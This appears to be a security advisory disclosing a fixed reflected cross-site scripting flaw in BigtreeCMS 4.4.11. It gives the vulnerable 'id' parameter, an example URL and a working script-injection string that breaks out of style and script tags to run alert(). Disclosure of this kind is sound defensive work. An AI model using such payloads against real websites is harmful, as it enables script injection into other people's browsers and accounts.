Information
--------------------

Advisory by Netsparker
Name: Cross-Site Scripting Vulnerability in BigtreeCMS
Affected Software: BigtreeCMS
Affected Versions: 4.4.11
Vendor Homepage: https://www.bigtreecms.org/
Vulnerability Type: Cross-Site Scripting
Severity: Important
Status: Fixed
CVE-ID: CVE-2020-995566
CVSS Score (3.0): 7.4 (High)
Netsparker Advisory Reference: NS-20-004

Technical Details
--------------------

URL: https://mylocalhost/site/index.php/admin/js/embeddable-form.js?hash=&id=
'"--></style></scRipt><scRipt>alert(0x00E4E5)</scRipt>
Parameter Name: id
Parameter Type: GET
Attack Pattern:    '"--></style></scRipt><scRipt>alert(2)</scRipt

Note: This vulnerability is reproducible at Internet Explorer due to mime
type sniffing.

For more information on cross-site scripting vulnerabilities read the
article Cross-site Scripting (XSS).

For more information:
https://www.netsparker.com/web-applications-advisories/ns-20-004-cross-site-scripting-in-bigtreecms/